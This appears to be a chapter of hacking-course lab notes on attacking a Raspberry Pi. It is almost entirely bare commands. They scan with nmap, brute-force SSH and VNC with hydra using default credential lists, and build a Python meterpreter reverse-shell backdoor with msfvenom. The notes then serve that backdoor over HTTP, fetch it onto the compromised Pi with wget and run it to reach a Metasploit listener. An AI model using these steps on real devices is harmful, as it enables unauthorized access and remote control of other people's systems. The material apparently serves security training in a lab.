

chapter 18 - OT and IOT Hacking

Hacking Raspbian:

```
sudo nmap raspbianip
```

open new tab

```
sudo pluma username.txt
```

```
admin
```

```
pi
```

```
raspberry
```

```
user
```

```
joker
```

```
sudo pluma password.txt
```

```
admin
```

```
pi
```

```
raspberry
```

```
user
```

```
joker
```

```
password
```

```
sudo hydra -L username.txt -P password.txt ssh://raspbianip
```

```
sudo ssh pi@raspbianip
```

```
sudo hydra -P password.txt vnc://raspberrypip
```

Building a backdoor for compromised machine:

```
sudo msfvenom -p python/meterpreter/reverse_tcp LHOST=parrotip LPORT=1234 -o /home/user/hitme.py
```

```
sudo msfconsole -q
```

```
use exploit/multi/handler
```

```
set payload python/meterpreter/reverse_tcp
```

```
set LHOST parrotip
```

```
set LPORT 1234
```

```
show options
```

```
exploit
```

open new tab

```
sudo python3 -m http.server
```

now go onto raspberrypi connection and use below mentioned commands

```
wget http://parrotip:8000/hitme.py
```

```
python hitme.py
```

Now check the connection msfconsole
